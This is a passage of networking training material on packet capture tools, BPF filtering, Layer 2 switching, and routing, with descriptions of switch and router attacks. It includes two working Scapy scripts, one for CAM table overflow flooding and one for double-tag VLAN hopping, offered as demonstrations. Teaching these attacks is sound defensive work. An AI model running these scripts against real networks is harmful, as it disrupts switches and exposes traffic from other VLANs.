  • Libpcap - https://www.tcpdump.org/ Libpcap is a portable C/C++ library that is used by Wireshark and TCPDump for network traffic capture. It is installed by default on Linux, BSD, and OS X. Windows uses a similar library named WinPcap that is not installed by default, which is why it must be installed during the Wireshark installation process on a Windows based PC.

  • WinPcap - https://www.winpcap.org/ Libpcap was ported over from its Linux/Unix roots by Riverbed Technonlogy to be compatible with Windows based systems. Has been the standard for Windows base systems or many years. On 8 March 2013 the final release (4.1.3) was release and all support ceased.

  • NPcap - https://nmap.org/npcap/ With the ceased support for the discontinued WinPcap, NMAP created NPcap. Based on WinPcap, it is still supported today as a limited realease.


10.2 Capture Library (Image)

How LibPcap works
Figure 14. LibPcap


  1. Data is captured off the 'wire' by a NIC in promiscuous mode.

  2. Data is constructed into "Raw Sockets". This means that each 'packet' is captured in its original state with all its headers intact. This is not the typical operation of computers as they normally strip off the headers.

  3. The Raw Sockets are then sent through the SO_ATTACH_FILTER file in order to determine what messages need to be captured. This file is stored in Kernel-space and is basically a list of 'conditions' supplied by the root-user to determine what traffic to capture or what traffic to "filter".

  4. The traffic that has passed through the filter is then captured by the LibPcap Library and is forwarded into the user-space application to "parse" the data into a readable format for the user.


11. Wireshark, Tshark, TCPdump, and BPFs


11.1 Demos

11.1.1 Wireshark Demo on Internet_Host


Facilitation: Wireshark Demo

Demonstrate the following:

  • Where the Packet List, Packet Details, and Packet Bytes can be seen

  • How to capture traffic using a capture filter

  • How to use the Display filter to target the header locations

  • How to add columns

  • How to use the search functionality


  • Here we will familiarize you with the various capabilities of Wireshark.*

  • Colorize traffic

    • Menu → View → Coloring Rules…​

    • Right click on item → Colorize Conversation → (L2 thru L4)

  • Protocol Hierarchy

    • Menu→ Statistics → Protocol Hierarchy

  • Firewall rules (Under "Tools". Assists in creating firewall rules)

  • Exporting objects (File → Export Objects)

  • Geo location

    • Download DBs from maxmind.com; Edit → preferences → name resolution → GeoIP database directories "Edit"

  • Decrypt traffic

  • Conversations

    • menu → Statistics → Conversations

  • Endpoints

    • menu → Statistics → Endpoints

  • I/O Graph.

    • menu → Statistics → I/O Graph

  • ipv4 and ipv6 statistics

    • menu → Statistics → ipv4 Statistics →

  • Expert Information

    • Menu → Analyze → Expert Information



11.1.2 Tshark Demo on Internet_Host


Tshark is the command line version of Wireshark. It allows you to collect live network capture and read/write a file in pcap format. Native capture file format is pcap format, which is also the format used by tcpdump and various other tools.

  • Install tshark (apt-get install tshark)

    • tshark without filters provide the following information:

      • Packet #

      • Displays time since packet capture. Time can be switched to absolute time using -t a or -t ad to view absolute time and date.

      • Source IP

      • Destination IP

      • Protocol


Tshark

tshark -D

-D Print a list of the interfaces on which TShark can capture, and exit. For each network interface, a number and an interface name, possibly followed by a text description of the interface, is printed. The interface name or the number can be supplied to the -i option to specify an interface on which to capture. ** Non GUI version of wireshark

Wireshark Analysis Activity



11.1.3 TCPDump Demo on Internet_Host


TCPDump is a tool used to capture and display the contents of packets traversing a network interface TCPDump uses native and/ or BPF filter. Filters allows you to search for patterns, ASCII or HEX within a data packet and dissect a pcap to obtain a packet or packets of interest. TCPDump filters can be crafted to be specific, such as filter for a TTL size , flag combinations and key word within a packet.

TCPDUMP Cheat Sheet from Packetlife.net https://packetlife.net/media/library/12/tcpdump.pdf

Filter Format Example:
TCPDump uses two different formats for tcpdump filters, macro and BPF format.


Macro:

<macro> <value>
not port 22


BPF:

<protocol header> [offset:length] <relation> <value>
tcp[2:2] !=22

BPF is explained in greater detail after TCPDump basics.


Basic TCPDump options:

-D Print the list of the network interfaces available on the system and on which TCPDump can capture packets. For each network interface, a number and an interface name, followed by a text description of the interface, is printed. This can be used to identify which interfaces are available for traffic capture.

tcpdump -D

-i Normally, eth0 will be selected by default if you do not specify an interface. However, if a different interface is needed, it must be specified.

tcpdump -i eth0

-X displays packet data in HEX and ASCII.
-XX displays the packet data in HEX and ASCII to include the Ethernet portion.

tcpdump -i eth0 -X
tcpdump -i eth0 -XX

-w writes the capture to an output file

tcpdump -w something.pcap

-v gives more verbose output with details on the time to live, IPID, total length, options, and flags. Additionally it enables integrity checking.

tcpdump -vv

-r reads from the pcap

tcpdump -r something.pcap


TCPDump Filtering with Primitives

Tcpdump for specific protocol traffic.

tcpdump port 80 -vn

TCPDump with filters and Logical Operators
TCPDump can be used for live traffic capture, that much is apparent. Introducing filters with simple logic operators greatly enhances TCPDump’s capabilities.

Logical Operators:
The truth table below represents all possible true-false relationships. Since both && and || each have two operands, there are four possible combinations of conditions for the given variables A or B.

AND (&&)
OR (||)
NOT (!)

Table 3. Logical Operators AND (&&) and OR (||)
Operand 1 Operand 2 Operand 1 AND Operand 2 Operand 1 OR Operand 2

TRUE

TRUE

TRUE

TRUE

TRUE

FALSE

FALSE

TRUE

FALSE

TRUE

FALSE

TRUE

FALSE

FALSE

FALSE

FALSE

Table 4. Logical Operator NOT (!)
Operand Result

FALSE

TRUE

TRUE

FALSE

Table 5. Relational Operators
Operator Meaning

<

less than

< =

less than or equal to

>

greater than

>=

greater than or equal to

==

equal to

!=

not equal to

The logical and relational operators can be combined with primitives to perform specific criteria for traffic filtering.


Demonstrate TCPDump syntax with filters and logical operators:

tcpdump for specific protocol traffic of more than one type.

tcpdump port 80 or 22 -vn

tcpdump for range of ports on 2 different hosts with a destination to a specific network

tcpdump portrange 20-100 and host 10.1.0.2 or host 10.1.0.3 and dst net 10.2.0.0/24 -vn

tcpdump filter for source network 10.1.0.0/24 and destination network 10.3.0.0/24 or dst host 10.2.0.3 and not host 10.1.0.3.

tcpdump "(src net 10.1.0.0/24  && (dst net 10.3.0.0/24 || dst host 10.2.0.3) && (! dst host 10.1.0.3))"" -vn



11.2 Berkley Packet Filters (BPF)

Berkeley Packet Filters were conceived in 1992 as a way to provide a way for filtering packets from kernel to userspace. It consists of bytecode that is injected from userspace to the kernel. In recent years it has been re-written as the eBPF virtual machine that closely resembles the previous BPF functions, yet allows for 64 bit registers and for increasing the number of registers from two to ten. This allows the BPF to take advantage of modern hardware.


How do BPF’s work?

Kernel API

TCPDump opens a network tap by requesting a SOCK_RAW socket and after setsockopt calls a filter is set with the SO_ATTACH_FILTER option:

sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL))
...
setsockopt(sock, SOL_SOCKET, SO_ATTACH_FILTER, ...)

The BPF Filter is then ran against all received packets on a network interface and those that match filtering criteria are passed on to the network tap file descriptor.

Basically, TCPDump asks the kernel to execute a BPF program that works within the kernel context.


BPF Virtual Machine
The BPF machine consists of an accumulator, an index register, a scratch memory store, and an implicit program counter. There is a small set of arithmetic, logical, and jump instructions given in a BPF program written in bytecode.

TCPDump filtering with BPF’s:

Demonstrate a simple BPF to explain bytecode:

tcpdump "ether[12:2] = 0x800" -d
(000) ldh    [12]
(001) jeq   0x800,  jt 2  jf 3
(002) ret   #262144
(003) ret   #0

This reads as follows:

  • ldh - loads half word (16-bit) value in the accumulator from offset 12 in the ethernet header

What field does the jeq point to?
Ethertype

  • jeq - check if the value is "0x800" and if this is true "jump true" to line 2, if it is false "jump false" to line 3

  • ret #262144 - returns the default snapshot length in bytes

  • ret #0 - returns nothing, it didn’t meat the criteria in the jeq statement.



Berkley Packet Filters

TCPDump filtering with BPF’s and bit-masking:
BPF’s in conjunction with TCPDump, operators, and bitmasking make for an extremely powerful traffic filtering and parsing tool.

  • The smallest filter that BPF can understand easily is a byte.

  • A span of bytes can be denoted as in the BPF Bytecode example "ether[12:2]", start at byte offset 12 and span 2 bytes in to look at the ethertype field.

What happens if you need to filter down to a field that is smaller than a byte?

Use bit masking.

IP header version and IP header length field.

IP header fragmentation and fragmentation offset field.

TCP header flags field.

  • Using BPFs with operators, bitmasking, and TCPDump creates a powerful tool for traffic filtering and parsing.


SYNTAX

tcpdump {A} [B:C] {D} {E} {F} {G}

A = Protocol (ether | arp | ip | ip6 | icmp | tcp | udp)
B = Header Byte offset
C = optional: Byte Length. Can be 1, 2 or 4 (default 1)
D = optional: Bitwise mask (&)
E = Operator (= | == | > | < | <= | >= | != | () | << | >>)
F = Result of Expression
G = optional: Logical Operator (&& ||) to bridge expressions

Example:
tcpdump 'ether[12:2] = 0x0800 && (tcp[2:2] != 22 || tcp[2:2] != 23)'



Bitwise Masking

The BPF doesn’t work because values larger than the ip version number of 4 that have a value higher than 5 in the internet header length will be filtered as well.

What was the common issue with all of the filters that complicates the process of looking at the header length field?
The presence of the IP version field.

Since the IP version field is causing issues, it must be excluded.
A masking condition is applied with an "&" symbol and will look like the following:

To filter down to the bit(s) and not just the byte.

ip[0] & 0x0F > 0x05
ver ihl bpf



Filter Logic - Most exclusive

All designated bit values must be set; no others can be set

tcp[13] = 0x11
--or--
tcp[13] & 0xFF = 0x11
most bpf
most bpf2
tcpdump "tcp[13] = 0x11" -r tcpflags.pcap
tcpdump "tcp[13] = 0x11" -r tcpflags.pcap | wc -l



Filter Logic - Less exclusive

All designated bits must be set; all others may be set

tcp[13] & 0x11 = 0x11
less bpf
tcpdump "tcp[13] & 0x11 = 0x11" -r tcpflags.pcap
tcpdump "tcp[13] & 0x11 = 0x11" -r tcpflags.pcap | wc -l



Filter Logic - Least exclusive

At least one of the designated bits must be set to not equal 0; all others may be set

tcp[13] & 0x11 !=0
least bpf

Least Exclusive:
Selects any packet that has ACK or FIN set and also have any other flag set.

tcpdump "tcp[13] & 0x11 !=0" -r tcpflags.pcap
tcpdump "tcp[13] & 0x11 !=0" -r tcpflags.pcap | wc -l



References:



ACTIVITY: Basic Analysis



12. Layer 2 Switching Technologies

Facilitation: Layer 2 Switching Technologies


Discuss: Layer 2 Switching

Ethernet Frame
Figure 15. Ethernet Frame


A Layer 2 Ethernet switch uses the destination MAC addresses to make forwarding decisions. It is completely unaware of the protocol being carried in the data portion of the frame, such as an IPv4 packet. The switch makes its forwarding decisions based only on the Layer 2 Ethernet MAC addresses.



Discuss: CAM Table

MAC Address Table
Figure 16. MAC Address Table


  • Switches contain a special type of computer memory called Content-addressable memory (CAM) which allows very fast searching and table lookups. CAM is much faster than RAM. This is essential for switches to do very fast table lookups. CAM is a very expensive type of memory and generates very high levels of heat. Thus CAN is not typically used in most other types of electronic devices. It is used to "look-up" information (such as MAC addresses) and requires it to have an exact match.


  • Switches will dynamically build the MAC address table by examining the source MAC address of the frames received on a port. The switch determines that if it receives a frame on an interface, whatever the source address is, that device can be reached if traffic was sent back through that interface. The switch then forwards frames by examining the destination MAC of the frame and searching its CAM tables for a match. The CAM will consist of all learned MAC addresses and its corresponding port.


CAM Table Overflow/Media Access Control (MAC) Attack

This attack focuses on the Content Addressable Memory (CAM) table that stores the MAC addresses on a physical port along. Each VLAN will have its own CAM tables. CAM tables have a fixed memory size and this is what makes them a target for attack. Similar to a buffer overflow attack, the goal is to fill the switches table with "learned" MAC addresses and see what happens. The attacker sits on a one port and generates a vast number of "spoofed" MAC entries. When the CAM table is full, all additional MACs will not be learned and will default to "open". This means that traffic without a CAM entry will be sent out on all ports of the VLAN in question. Traffic with a CAM entry won’t be affected, but neighbor switches could be. Depending on the switch in question, this type of attack can be mitigated.


CAM Table Overflow script

Utilizing tcpdump or wireshark you can demonstrate how this attack looks.

#-------------------------------------------------------------------------------#
#     A script to perform CAM overflow attack on Layer 2 switches               #
#                   Bharath(github.com/yamakira)                                #
#                                                                               #
#     CAM Table Overflow is flooding a switch's CAM table                      #
#     with a lot of fake entries to drive the switch into HUB mode.             #
#  (Send thousands of Ether packets with random MAC addresses in each packet)   #
#-------------------------------------------------------------------------------#
# https://0xbharath.github.io/art-of-packet-crafting-with-scapy/network_attacks/cam_overflow/index.html

#!/usr/bin/env python
from scapy.all import Ether, IP, TCP, RandIP, RandMAC, sendp


'''Filling packet_list with ten thousand random Ethernet packets
   CAM overflow attacks need to be super fast.
   For that reason it's better to create a packet list before hand.
'''

def generate_packets():
    packet_list = []        #initializing packet_list to hold all the packets
    for i in xrange(1,10000):
        packet  = Ether(src = RandMAC(),dst= RandMAC())/IP(src=RandIP(),dst=RandIP())
        packet_list.append(packet)
    return packet_list

def cam_overflow(packet_list):
    sendp(packet_list, iface='ens3')

if __name__ == '__main__':
    packet_list = generate_packets()
    cam_overflow(packet_list)



Discuss: VLAN, 801.1q

801.1q Frame
Figure 17. 801.1q Frame


Network without VLANs

In normal operation, when a switch receives a broadcast frame on one of its ports, it forwards the frame out all other ports except the port where the broadcast was received. On a switch with only 1 vlan configured (vlan 1 by default) all ports belong to same broadcast domain.

Network with VLANs

When VLANs are implemented on a switch, the transmission of unicast, multicast, and broadcast traffic from a host in a particular VLAN are restricted to the devices that are in that VLAN only.

A network with VLANs has to identify a way to pass frame traffic from its vlan to other devices belonging to the same vlan across several switches. To prevent vlans from blending with other vlans a separate data path must be used to pass vlan traffic from switch to switch. Thus a separate cable is used for each vlan to pass vlan traffic from switch to switch. In a large network, with many vlans, this will quickly become unscalable.

Trunk links were developed to allow all vlans to traverse 1 link instead of 2 or more individual links. Switches use the Ethernet frame header information to forward frames but the standard Ethernet frame header does not contain information about the VLAN to which the frame belongs; thus, when Ethernet frames are placed on a trunk, information about the VLANs to which they belong is added. This process, called tagging, is accomplished by using the IEEE 802.1Q header, specified in the IEEE 802.1Q standard. The 802.1Q header includes a 4-byte tag inserted within the original Ethernet frame header, specifying the VLAN to which the frame belongs. The "tag" includes a new Type Field set to [0x8100] to specify its a tagged frame. The original type field remains the same only it is just shoved from byte [12:2] to [16:2].

When the switch receives a frame on a port configured in access mode and assigned a VLAN, the switch will then determine what interface to send the frame out. If the outgoing interface happens to be a trunk port, the switch inserts the VLAN tag in the frame header, recalculates the Frame Check Sequence (FCS), and sends the tagged frame out of that trunk port. Inversely, when a switch receives a tagged frame from a trunk link and it determines that the outgoing interface is an access port, the switch will remove the vlan tag and the FCS is recalculated again. The Type field is also reverted back to its original value. The 4-byte tag is removed and the Type field reverts back to its original location at [12:2].

All the "tagging" processes are completely transparent to the "user" and is handled by the intermediary network devices.



Discuss: 802.1ad "Q-in-Q"

802.1ad Frame
Figure 18. 801.1ad Frame


IEEE 802.1ad is an Ethernet networking standard informally known as "Q-in-Q". The was added as an amendment to IEEE standard IEEE 802.1Q-1998. This technique was commonly used for provider bridging or tagging. A service provider could tag all-ready tagged user frames across a service providers network and then strip it off at the other end. This is a form of tunneling.

This technique allowed the ability to insert more than one 4 byte tag into the frame. Each additional tag is inserted before the previous tag. The tags are then removed in reverse order. The first tag will be the typical 0x8100 Ethertype and include the user provided VLAN ID. Each additional tag will use 0x88A8 (standard) or 0x9100 (non-standard) Ethertype and include the provider’s VLAN ID.

IEEE 802.1ad was created for the following reasons:

  • 802.1Q has a 12-bit VLAN ID field, which has a theoretical maximum of 4096 tags (212). With the growth of network this has become a limitation. A double-tagged frame however has two 12 byte VLAN ID fields. This can have a theoretical max of 4096×4096 or 16,777,216 VLAN IDs.

  • A tag stack creates a mechanism for some Internet Service Providers to encapsulate customer tagged 802.1Q traffic within another tag thus creating a Q-in-Q frame. The second (outer tag) is used to identify and segregate traffic from different customers; the inner tag is preserved from the original frame.

  • Using Q-in-Q provides a means of constructing Layer 2 tunnels, or even applying Quality of service (QoS) policies.

  • 802.1ad is upward compatible with 802.1Q. Although 802.1ad is limited to two tags, there is no ceiling on the standard limiting a single frame to more than two tags, allowing for growth in the protocol. In practice Service Provider topologies often anticipate and utilize frames having more than two tags.

  • It is easier for networking equipment makers to modify their existing equipment by creating multiple 802.1Q headers than to modify their equipment to implement some hypothetical new non-802.1Q extended VLAN ID field header.


Demo the 801.1ad headers in a PCAP 802.1ad pcap from www.cloudshark.org


VLAN hopping Attack

VLAN hopping is an exploit method of attacking networked devices on separate virtual LAN (VLAN) without traversing a router or other Layer 3 device. The concept behind VLAN hopping attacks is for the attacker on one VLAN to gain access to traffic on other VLANs that would normally not be accessible. Keep in mind that VLAN hopping is typically a one-way attack. It will not be possible to get any response from the target device unless methods are setup on the target to respond with similar vlan hopping methods.

There are two primary methods of VLAN hopping:

  • switch spoofing

In this attack, an attacking host imitates a trunking switch by crafting DTP packets in order to form a trunk link with the switch. With a trunk link formed the attacker can then use tagging and trunking protocols such as ISL or 802.1q. Traffic for all VLANs is then accessible to the attacking host.

  • double tagging

This attack works if the attacker knows what the "native VLAN" that is used on your organization. Typically VLAN 1 is used. All VLANs will be "tagged" with its corresponding VLAN. The Native VLAN however is intended for local network communication and is not tagged. Thus anything tagged for the native VLAN will be stripped off. The attacker will insert 2 tags into their frames. The first tag will be for the Native VLAN and the second tag will be for whatever VLAN he is trying to access. Upon receipt the switch will then remove the Native VLAN tag and will leave the second VLAN tag in tact.


Scapy Script to demonstrate vlan Hoping

You are able to execute this and see the result in tcpdump or wireshark.

#!/usr/bin/env python
# https://networklessons.com/cisco/ccnp-switch/vlan-hopping

from scapy.all import Ether, Dot1Q, IP, sendp

sendp(Ether(dst='ff:ff:ff:ff:ff:ff', src='00:17:5a:ed:7a:f0')/Dot1Q(vlan=1)/Dot1Q(vlan=20)/ IP(dst='255.255.255.255', src='192.168.1.1')/ICMP(), iface='ens3')



Discuss: STP

Spanning-Tree Protocol
Figure 19. Spanning-Tree Protocol


We previously mentioned that there is no TTL at Layer 2 to eventually kill a frame that never reaches its destination. This will result in frames endlessly circulating a L2 infrastructure and eventually bringing down the network. This can be caused by simply adding redundant links in your network architecture that could allow frames to potentially circulate.

Spanning Tree Protocol (STP) was developed to resolve this issue . STP is a Layer 2 protocol that builds a loop-free logical topology for Ethernet networks in a network that physically has loops. The basic function of STP is to prevent switching loops and the broadcast storms that can result. Spanning tree allows a network design to include physical "backup links" to provide fault tolerance if the active link fails.

STP works by creating "tree" within a network of connected layer-2 switches, and disable any links that are not part of this tree. The root of the tree determined by electing a Root Bridge and all the other switches are the branches. This essentially leaves only a single active path between any two network switches. STP is based on the algorithm invented by Radia Perlman.

STP operates by flooding Bridge Protocol Data Units (BPDUs) to all other switches in the network. These BPDUs are used to:

  1. Elect the Root Bridge

  2. Identify the Root port on each non-root bridge

  3. Identify the Designated port for each segment

After the election of the Root Bridge, all BPDUs will come from the root only and each switch will forward these BPDUs out their Trunk ports. This ensures that all switches know that the root is still active.

IEEE introduced Rapid Spanning Tree Protocol (RSTP) as 802.1w in 2001. RSTP allowed ports to transition from blocking to forwarding in about 10 seconds.

Cisco developed their own proprietary versions of STP:

  • Per VLAN Spanning Tree (PVST)

  • Per VLAN Spanning Tree Plus (PVST+)

Juniper develop VLAN Spanning Tree Protocol (VSTP) to communicate with Cisco’s PVST and PVST+ implementations.

In 2005, IEEE developed Multiple Spanning Tree Protocol (MSTP) defined in IEEE 802.1s.




Spanning-Tree Attack

The attack vector is a form of Denial of Service. Its goal is to disrupt the switch’s spanning-tree process, destabilize their CAM tables and hold the network in a repetitive state of reelecting the root bridge. This is possible because there is no authentication mechanism built into the STP and it’s BPDU packets.

One way is to repeatedly send Topology Change Notification (TCN) messages to disrupt the system’s current understanding of the network. This will force renegotiation of the Root Bridge, resulting in a DoS attack.

Another option is for the attacker to try to become the root bridge. This can be done by sending specially crafted BPDUs. Once this is accomplished it is possible for the attacker to see packets that are sent through them. This requires the attacker to stay connected to two switches, running bridging software, so that they can continue to send the BPDU to advertise themselves as the root bridge.

Both attacks require that the attacker be physically connected to the network.

The industry standard of 802.1D there is only 1 spanning tree instance no matter how many vlans are running on the network. So to attack STP will effect every vlan in the network. However Cisco’s proprietary STP called PVST and PVST+, there is a spanning tree instance for each vlan in the network. So to attack one will not effect the others. Each vlan spanning tree instance would need to be attacked for a full network DoS.



Discuss: Without Spanning-Tree

Broadcast Storm
Figure 20. Broadcast Storm


Ethernet frames do not have a time to live (TTL) field as the IPv4 and IPv6 packet headers do. Because of this there is no mechanism to block continued propagation of frames on a Layer 2 switched network. It is possible for frames to propagate between switches endlessly. This can result in MAC database instability and can cause broadcast frames to forward endlessly causing broadcast storms and will bring down any network.


Issues in a switched network

In a switched network with physical loops Spanning-Tree is crucial else your whole network can be brought down with broadcasts. Without physical loops spanning-tree can be disabled to conserve a little bandwidth and CPU processing.



Discuss: CDP and LLDP

  • Cisco Discovery Protocol (CDP) is a Layer 2, Cisco proprietary protocol used to share information with other directly connected Cisco devices. CDP is protocol and media independent and runs on all Cisco routers, switches, and other devices.

    • CDP Shares information such as:

      1. Type of device

      2. Hostname

      3. Number and type of interface

      4. IP address

      5. IOS software version

    • CDP can be used as a Network Discovery tool as well as assist in network design decisions and troubleshooting.

  • Link Layer Discovery Protocol (LLDP) was designed by IEEE 802.1AB to be a vendor-neutral neighbor discovery protocol similar to CDP. LLDP also operates at layer 2 and shares similar information as does CDP with directly connected devices that support LLDP.



Cisco Discovery Protocol (CDP) Attack

Due to the nature of how CDP works, it can be easily used by malicious actors to map out your network infrastructure. It also shares alot of device information that an attacker can use in preparation of an attack. The information like IP addresses, router models, software versions and so on can be sensitive for your organization. All information is sent in clear text and unauthenticated. Any attacker sniffing the network is able to see this information and is possible to impersonate (spoof) another device.



Discuss: DTP

Dynamic Trunking Protocol
Figure 21. Dynamic Trunking Protocol


The Dynamic Trunking Protocol (DTP) is a Cisco proprietary Layer 2 protocol. Its purpose is to dynamically negotiate trunking on a link between two switches running VLANS. It can also negotiate the type of trunking protocol to be used on the link (802.1q or ISL). DTP works by exchanging small DTP frames between two supporting devices to negotiate the link parameters.

DTP Attack

DTP attack relates to the VLAN hopping attack discussed earlier. Attackers can craft their own DTP frames in order to negotiate a trunk link between their device and the switchport. This trunking connection would allow the attacker to communicate with all VLANs on the switch and to inject traffic into whatever VLAN they desire. Typically the trunk like will not be "pruned" or allowed VLANs specified so this connection will allow the attacker access to all VLANs on that switch.



Discuss: VTP

Virtual Trunking Protocol
Figure 22. Virtual Trunking Protocol


VLAN Trunking Protocol (VTP) is a Cisco proprietary protocol that propagates the definition of Virtual Local Area Networks (VLAN) on the whole local area network. VLAN Trunk Protocol (VTP) was developed to help reduces the administration of creating VLANs all all switches within a switched network. To do this, VTP sends VLAN information to all the switches in a VTP domain.

  • Server - can create, modify or delete VLANs. Can create and forward VTP messages.

  • Client - can only adopt VLAN information in VTP messages. Can forward VTP messages.

  • Transparent - only forwards VTP messages but does not adopt any of the information.

VTP advertisements are sent over all trunk links. VTP messages advertise the following on its trunk ports:

  • Management domain

  • Configuration revision number

  • Known VLANs and their specific parameters

There are three versions of VTP, namely version 1, version 2, version 3.


VTP Issue

VTP uses the configuration revision number to determine what is the most "up to date" VLAN information. Each time the server makes an update it will send a VTP message with a higher revision number. The other switches will see that the message revision number is higher than what they have recorded so they will adopt the information in the message believing it to be more current.

The concern is that if you add a new switch to the current VTP domain that has a higher VTP revision number. This could be because it was previously on another VTP domain and was not properly erased. Once connected, that switch will not accept any VTP messages from the server since its revision number is higher. But when that switch sends its own VTP message advertising what it believes the current revision number is all the other switches will see that it has a higher revision number and will cause all switches to dump all its information and request the information from the new switch. This in effect will bring down your entire VLAN infrastructure.

Additionally an attacker can use this same process to perform a Denial of Service on your VTP switched network. The attacker can craft their own VTP message and send it over the network. This will cause all the switches in the VTP domain to flush all their VLAN information.



Discuss: Port Security

Must be configured manually, normally on access ports. The default behavior for port security is violation mode SHUTDOWN and maximum mac address of 1. Any violation will cause the port to err-disable and must be manually shutdown and no shutdown to bring the port back operational after correcting the original issue.

Port Security Modes


Ideally 802.1X would be prefered over Port Security being able to authenticate to AAA server(s) for network access.



13. Layer 3 Routing Technologies

Facilitation: Layer 3 Routing Technologies

Routing Example
Figure 23. Routing



Discuss: Routing Table

Cisco Routing Table Example
Figure 24. Cisco Routing Table Example
Foundry Routing Table Example
Figure 25. Foundry Routing Table Example
Juniper Routing Table Example
Figure 26. Juniper Routing Table Example
Dell Routing Table Example
Figure 27. Dell Routing Table Example


The primary functions of a router are to:

  • Determine the best path to send packets

  • Forward packets toward their destination

Similar to switches where it builds a CAM table built of MAC address to determine how to forward frames towards the destination, the router builds routing tables on where (and how) to forward packets. The router builds the table including information such as network address, CIDR, Next hop address and exit interface. The table includes routes to what it determines is the "best route" to the destination network. When a packet enters a router it will be decapsulated. The frame is stripped on and it will examine the destination address in the packet. Using this address it looks to find the "best match" in the routing table. Once the best match is determined it will use the next hop address and exit interface. It will re-encapsulate the packet into the appropriate frame for the exiting interface network and send it out.

It is possible for a router to receive a packet encapsulated in one type frame, and then resend the packet out an interface using a different type frame encapsulation. As an example, the router can receive an IPv4 packet encapsulated in an Ethernet II frame from a LAN and then forward the packet out a WAN interface encapsulated in a Point-to-Point Protocol (PPP) frame. The frame encapsulation depends on the type of interface used on the router and the type of media to which it connects. The different data link technologies that a router can connect to include Ethernet, PPP, Frame Relay, DSL, cable, and wireless (802.11, Bluetooth, etc.).



Discuss: Anatomy of a Routing Table

Routing Table Anatomy
Figure 28. Routing Table Anatomy


  • Ultimate route is any routing table entry that has a next-hop IPv4 address, exit interface, or both.

  • Level 1 route is any route with the subnet mask (CIDR) is equal to or less than the classful mask of the network address. A level 1 route can be a:

    • Network route - A network route that has a subnet mask equal to that of the classful mask.

      • Class A - 255.0.0.0 (/8)

      • Class B - 255.255.0.0 (/16)

      • Class C - 255.255.255.0 (/24)

    • Supernet route - A network route with a mask less (smaller) than the classful mask.

    • Default route - A default route is a static route with the address 0.0.0.0/0.

  • Parent route is a level 1 network that is subnetted. A parent route will never be an ultimate route.

  • Level 2 child route are the subnets of a classful network address.



Discuss: Routing Table Lookup Process

Routing Table Matching Process
Figure 29. Routing Table Matching Process


Best Route = Longest Match

Routers compares the destination address in the incoming packet to its entries in the routing table. It matches the address (bit by bit) to all the table entries and looks for the longest bit match it can find. Starting at the far left, it compares the bits up to the amounts of bits in the CIDR mask. (i.e. a /12 mask will match 12 bits and a /24 will match 24 bits.)

Since the IP packet only contains the IP address and not the subnetmask, the router does not know what network the address belongs to. So this matching process tries to narrow down the address to a list of "known" networks.

Once a route with the most matched bits is found, it will forward the packet to the next-hop ip address in the table entry and re-encapsulate the packet into a new frame appropriate for the exiting interface.

Security Concern with the router lookup process

The IPv4 protocol has an options field in it’s header and it is possible to add source routing information to specify the specific path for traffic to take regardless of what is in the routing table. This can assist attackers to manipulate the flow of traffic to possibly bypass some network security devices.

Typically an IPv4 packet does not include options and can easily be scanned for should anyone add any using BPF filters.

ip[0] & 0x0f > 5



Discuss: Routed vs Routing Protocols

Routed vs Routing Protocols
Figure 30. Routed vs Routing Protocols


Routed protocol is a protocol that allows data to be routed. These protocols provide an addressing scheme and sub-netting. The addressing scheme identifies the individual host and the network to which it belongs. Each host address bust be unique. All hosts on an internetwork must use the services of a routed protocol to communicate.

  • IPv4

  • IPv6

  • IPX

  • AppleTalk

Routing Protocol are used by routers communicate routing information with each other. Unless all routes are manually entered into the router, the router needs to learn from other routers about the networks that they know. They use this shared information to populate their routing tables so that they can make better decisions when forwarding routed protocols such as IPv4.

Routing protocols are broken down to 2 types:

  • Interior Gateway Protocol (IGP) - is a type of protocol used for exchanging routing information between gateways (commonly routers) within an autonomous system

    • RIP (v1, v2, ng)

    • EIGRP and EIGRP or IPv6

    • OSPF (v2 and v3)

    • IS-IS

  • Exterior Gateway Protocol (EGP) - is a routing protocol used to exchange routing information between autonomous systems

    • BGP

Not all routing protocols support all "routed" protocols. If you are running more than one then its possible that you may have to run additional routing protocols to ensure that those routes are advertised.



Discuss: First Hop Redundancy Protocols (FHRP)

First Hop Redundancy Protocol
Figure 31. First Hop Redundancy Protocol


Redundancy on networks are critical should a fault occur. One limitation on user PC’s is that you can only configure one default gateway. Should this device fail the users cannot get out of their local network. Even if 2 or more routers are configured for redundancy, each interface will have a different IP address and both cannot be configured on users. FHRP provides a mechanism to provide alternate default gateways in switched networks where two or more routers are connected to the same network.

FHRP works by assigning a virtual router to 2 or more gateway routers. This works by configuring a FHRP protocol on all participating gateway interfaces to share a "floating IP" address and MAC. Each interface will have its unique IP assigned to the interface but all will share this floating IP and MAC.

Several types of FHRPs were developed:

  • Hot Standby Router Protocol (HSRP) - A Cisco-proprietary FHRP designed to allow for transparent fail-over of IPv4 networks. One router interface will be set as "active" and the others set as "standby". Once the active interface will forward traffic to other networks. Standby interfaces serve as backups in case the active fails. Active interface sends multicast "Hello" packets to inform the backups that its still operational.

  • HSRP for IPv6 - Cisco-proprietary FHRP providing the same functionality as HSRP but for IPv6 addressing.

  • Virtual Router Redundancy Protocol version 2 (VRRPv2) - An open-standard FHRP similar to HSRP. Assigns the "Master" as the active forwarder and "backups".

  • VRRPv3 - VRRP for IPv6 addressing.

  • Gateway Load Balancing Protocol (GLBP) - another Cisco-proprietary FHRP like HSRP but adds the ability to have more than one Active forwarder. Incorporates the ability to load balance over all active interfaces rather than using just 1.

  • GLBP for IPv6 - CGLBP for IPv6 addressing.


HSRP Attack:

Routers must exchange HSRP hello packets at the default interval of three seconds. Packets are sent using the multicast address of 224.0.0.2 (the "all routers" IPv4 multicast address). Since multicasts are flooded over the network similar to Broadcasts, they can be intercepted by any host with layer two connectivity and can inspect the HSRP parameters.

To usurp the active router, the attacker only needs to inject false HSRP hellos claiming the active role with a higher priority.



Discuss: Static vs Dynamic Routing


Administrative Distance

Administrative Distance
Figure 32. Administrative Distance


The router can learn about remote networks form many different sources. As it can only put the "Best Route" from only the "Best Source" it needs to determine which source is the most trustworthy. The router will learn of directly connected routes, static routes, and routes from many different routing protocols. The router needs to determine that if a network is learned from more than one of these methods, which will it put in the routing table.

Routers uses an abstract administrative distance (AD) concept to determine the best source route to install into the IP routing table. The AD represents the "trustworthiness" of the route; the lower the AD, the more trustworthy the route source.


Metric

Routing Table Entry
Figure 33. Routing Table Entry


Table 6. Metric

RIP

Hop count

EIGRP

Bandwidth, Delay, Load, Reliability

OSPF

Cost (Bandwidth)

IS-IS

Cost (Assigned by Admin)

BGP

Policy assigned my Admin


